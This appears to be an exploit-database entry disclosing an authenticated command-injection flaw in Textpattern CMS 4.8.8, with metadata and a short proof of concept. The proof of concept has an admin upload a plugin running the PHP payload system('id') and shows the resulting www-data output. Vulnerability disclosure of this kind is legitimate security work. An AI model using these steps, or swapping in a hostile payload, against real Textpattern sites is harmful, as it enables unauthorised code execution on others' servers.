Headline
Textpattern CMS 4.8.8 Command Injection
Textpattern CMS version 4.8.8 suffers from a command injection vulnerability.
# Exploit Title: Textpattern CMS v4.8.8 - Command Injection (Authenticated)# Date: 2023-06-15# Exploit Author: tmrswrr# Vendor Homepage: https://textpattern.com/# Software Link: https://textpattern.com/file_download/118/textpattern-4.8.8.zip# Version: v4.8.8# Tested : https://release-demo.textpattern.co/--- Description ---Textpattern CMS Upload Plugin Command Injection:1) Login admin page , choose Plugin , Choose command.php file inside this payload: : system('id');2) Save it and do Active plugin yes and click Update from disk3) After open page you will see result: https://release-demo.textpattern.co/uid=33(www-data) gid=33(www-data) groups=33(www-data)